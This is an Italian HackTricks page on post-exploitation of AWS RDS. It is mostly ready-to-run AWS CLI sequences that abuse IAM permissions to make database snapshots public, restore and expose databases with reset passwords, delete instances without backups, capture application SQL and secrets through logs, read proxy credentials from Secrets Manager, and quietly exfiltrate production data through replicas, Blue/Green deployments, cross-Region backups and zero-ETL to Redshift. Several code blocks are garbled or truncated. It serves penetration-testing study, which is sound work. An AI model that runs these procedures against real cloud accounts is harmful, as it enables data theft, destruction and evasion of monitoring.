Files

32 KiB
Raw Blame History

AWS - RDS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

RDS

Per maggiori informazioni consulta:

{{#ref}} ../../aws-services/aws-relational-database-rds-enum.md {{#endref}}

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Se l'attacker ha permessi sufficienti, potrebbe rendere un DB pubblicamente accessibile creando uno snapshot del DB e poi un DB pubblicamente accessibile dallo snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare l'arresto immediato di un'istanza RDS o di un intero cluster, causando l'indisponibilità del database, connessioni interrotte e l'interruzione dei processi che dipendono dal database.

Per arrestare una singola istanza DB (esempio):

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

Per fermare un intero cluster DB (esempio):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Delete*

Un attaccante a cui è concesso rds:Delete* può rimuovere le risorse RDS, eliminando DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups e artefatti correlati, causando un'immediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi.

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaccante con queste autorizzazioni potrebbe creare uno snapshot di un DB e renderlo pubblicamente disponibile. Poi, potrebbe semplicemente creare un DB nel proprio account a partire da quello snapshot.

Se l'attaccante non ha il rds:CreateDBSnapshot, potrebbe comunque rendere altri snapshot creati pubblici.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaccante con il permesso rds:DownloadDBLogFilePortion può scaricare porzioni dei file di log di un'istanza RDS. Se dati sensibili o credenziali di accesso vengono accidentalmente registrati nei log, l'attaccante potrebbe utilizzare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impatto potenziale: Accesso a informazioni sensibili o esecuzione di azioni non autorizzate utilizzando leaked credentials.

rds:DeleteDBInstance

Un attaccante con questi permessi può DoS existing RDS instances.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potential impact: Cancellazione delle istanze RDS esistenti e possibile perdita di dati.

rds:StartExportTask

Note

TODO: Testare

Un attacker con questa autorizzazione può esportare lo snapshot di un'istanza RDS in un bucket S3. Se l'attacker ha il controllo del bucket S3 di destinazione, può potenzialmente accedere ai dati sensibili contenuti nello snapshot esportato.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impatto potenziale: Accesso a dati sensibili nello snapshot esportato.

Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)

Sfruttare cross-Region automated backups replication per duplicare silenziosamente gli automated backups di un'istanza RDS in un'altra AWS Region e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato pubblicamente accessibile e reimpostare la master password per accedere ai dati out-of-band in una Region che i difensori potrebbero non monitorare.

Permessi necessari (minimi):

  • rds:StartDBInstanceAutomatedBackupsReplication nella Region di destinazione
  • rds:DescribeDBInstanceAutomatedBackups nella Region di destinazione
  • rds:RestoreDBInstanceToPointInTime nella Region di destinazione
  • rds:ModifyDBInstance nella Region di destinazione
  • rds:StopDBInstanceAutomatedBackupsReplication (pulizia opzionale)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (per esporre il DB ripristinato)

Impatto: Persistenza e data exfiltration ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.

Esempio CLI end-to-end (sostituire i segnaposto) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table

Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text) aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text) mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Abilitare il logging SQL completo via DB parameter groups ed esfiltrare tramite RDS log APIs

Abusare di `rds:ModifyDBParameterGroup` con le RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilitare il logging SQL dell'engine e recuperare i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o il REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.

Permessi necessari (minimi):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Passaggi
1) Recon target e current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Assicurati che sia associato un custom DB parameter group (non è possibile modificare il default)
  • Se l'istanza usa già un custom group, riutilizza il suo nome nel passo successivo.
  • Altrimenti crea e associa uno corrispondente alla engine family:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Abilitare il logging SQL dettagliato
  • MySQL engines (immediato / senza riavvio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • Motori PostgreSQL (riavvio richiesto):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Lascia eseguire il workload (o genera query). Le istruzioni saranno scritte nei file di log del motore
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Individua e scarica i log (no DB creds required)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analizzare offline alla ricerca di dati sensibili
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Esempio di evidenza (oscurata):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Pulizia

  • Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impatto: Post-exploitation accesso ai dati catturando tutte le SQL statements dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Abuse RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le primary instance credentials. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non cambia la primary), e opzionalmente esporre la replica pubblicamente per exfiltrate data.

Permissions needed (minimum):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con attacker-controlled credentials; minore probabilità di rilevamento poiché la primary rimane intatta e la replication continua.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Esempio di evidenza (MySQL):

  • Stato DB replica: available, replicazione in lettura: replicating
  • Connessione riuscita con nuova password e @@read_only=1 che conferma l'accesso in sola lettura alla replica.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Sfrutta RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Quindi resetta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira i sistemi di monitoraggio focalizzati solo sulla sorgente.

# 1) Recon  find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup  remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impatto: Accesso completo in sola lettura a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per estrazione dati furtiva e analisi offline.

SQL fuori banda via RDS Data API abilitando l'HTTP endpoint + reimpostando la master password

Abuse Aurora per abilitare l'HTTP endpoint del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesta connettività di rete VPC). Funziona su motori Aurora che supportano Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni Aurora PostgreSQL/MySQL).

Permessi (minimi):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impatto: Bypass della segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.

CLI end-to-end (esempio Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"

or

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--enable-http-endpoint --apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].HttpEndpointEnabled' --output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--master-user-password 'Sup3rStr0ng!1' --apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}'
--query ARN --output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;"
--format-records-as JSON

</details>

Note:
- Se rds-data rifiuta SQL con più istruzioni, eseguire chiamate separate execute-statement.
- Per motori in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
- Verificare che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrà False.


### Raccogliere credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi a `secretsmanager:GetSecretValue`, rendendo questo un pivot a bassa frizione verso le credenziali DB. Se il secret utilizza una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.

Permessi necessari (minimo):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
- Opzionale quando il secret usa una CMK: `kms:Decrypt` su quella key

Impatto: divulgazione immediata di username/password DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali.

Passaggi
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Lab (minimale per riprodurre)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Pulizia (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Esfiltrazione continua stealth via Aurora zeroETL a Amazon Redshift (rds:CreateIntegration)

Sfrutta l'integrazione Aurora PostgreSQL zeroETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati quasi in tempo reale senza credenziali DB, snapshot o esposizione di rete.

Permessi necessari (minimo):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (per interrogare)
  • rds-data:ExecuteStatement (opzionale; per popolare dati se necessario)

Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Crea namespace Redshift Serverless + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configurare la policy delle risorse di Redshift per consentire la sorgente Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Creare un cluster Aurora PostgreSQL (abilitare Data API e logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Crea l'integrazione zeroETL da RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Materializzare e interrogare i dati replicati in Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Evidenze osservate nel test:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
  • SVV_INTEGRATION mostrava integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
  • Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha mostrato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).

Impatto: Continuous nearrealtime exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.

{{#include ../../../../banners/hacktricks-training.md}}